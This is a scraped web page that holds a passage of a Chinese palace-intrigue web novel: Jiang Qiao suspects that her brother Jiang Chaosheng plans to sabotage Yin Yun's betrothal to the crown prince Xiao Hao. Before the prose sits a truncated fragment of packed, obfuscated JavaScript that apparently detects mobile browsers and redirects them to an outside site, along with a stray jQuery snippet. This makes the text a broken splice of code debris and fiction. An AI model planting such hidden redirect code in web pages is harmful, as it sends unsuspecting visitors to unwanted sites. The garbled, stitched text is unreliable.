l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526467|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命不保。 一眼望去，山林之间，也有不少人影涌动着 这份上心的程度，不是因尹蕴是尹大小姐，而是因她成了板上钉钉的太子妃。 江家兄妹二人的到来，是石子投入水中，泛起一圈涟漪后，就没有新的动静，到底人微言轻。 江潮生将江乔牵到路边，轻声道，“滟滟，你待会回家中去。” 她只望着他。 江潮生像是轻声叹息，“这里太乱了。” 江乔看了看那杂乱的人群，轻问，“兄长是有想法了吗？” 江潮生只是摸了摸她的脑袋。 她继续问，“兄长是怀疑，这些人中，有对尹蕴欲图不轨的？” 她的眸子太亮，似乎轻而易举就能看透一切。 “不愧是滟滟呢。”江潮生笑了笑，伸出手，将她带到怀中，借着身高的差距，他微微低下头，便能对着她耳畔，吐着宛若幽兰的冷气。 放到从前，这样的举动并算不得什么。 但今时今日，江乔情不自禁红了脸颊，不过，这本就是一张过分白皙的脸蛋，一点害羞的绯红，能中和原本的惨淡颜色。 江潮生的话语，正对了她的想法。 这桩婚事，表面是尹蕴同萧晧二人的，实际上，却是尹相和东宫两个阵营的。 一旦尹蕴嫁入东宫，有丞相的保驾护航，萧晧的储君之位就坚如磐石。 “为何……” 她记得，萧晧并无兄弟姐妹，寻常的储位之争，不会发生在当朝。 江潮生面上闪过一丝不易察觉的厌恶，但因被江乔望着，他又很快恢复了往日的淡然模样，就连那些腌臜的话语，也能轻描淡写说出。 “一来，皇帝当年打天下时，与不少女奴‘有情’。这些女奴本来是被主人下了绝育药的，但因人数众多，难免有些意外。” “二则，大梁立国不久，还保留着从前的夷蛮习性，诸如兄终弟及。” 江潮生简单说了原因，只让江乔了解，但不愿她知道更多，污了耳朵。 但这寥寥几句，足以叫她推测出大概的全貌。 忽而，她问，“那兄长呢？兄长是赞同这桩婚事的，还是不赞同的。” 非此即彼的问与答。 江潮生又对着她笑着，轻轻捋过她的发别在耳后，再次叮嘱，“早点回去吧，这里不安全。” 一切尽在不言中。 他是巴不得看天下大乱的，如此一来，这苟延残喘的半生，才算没有白活。 也对得起，那众多的死者。 再将身上的银钱全部塞到江乔手中，他走入了人群中。 江乔捏紧这一小袋子的银子，设身处地地想，为了阻止尹蕴和萧晧的联姻，他会怎么做？ 叫当事人伤了、死了，是最无用的法子。 既容易惹事上身，还不一定成功。 若要釜底抽薪，只有叫这身为当事者的二人主动取消婚约。 但无缘无故的，尹蕴和萧晧怎会抗旨？ 一个法子施施然冒了出来，不见血，不耍心眼，更是牵扯不到几个人，但平白无故的，叫她胆寒。 是的。 尹蕴一直爱慕兄长，只不肯说出口。 萧晧对她，也别有心思。 兄长绝不会拿她出去当诱饵。 既然如此…… 便“牺牲”自己吗？ 江乔知道，江潮生为了所谓的大计，会做出这种事。 绝不能如此。 江乔隔着一层衣物，摸到了那张纸，上头的文字已是倒背如流了。 她冲了出去。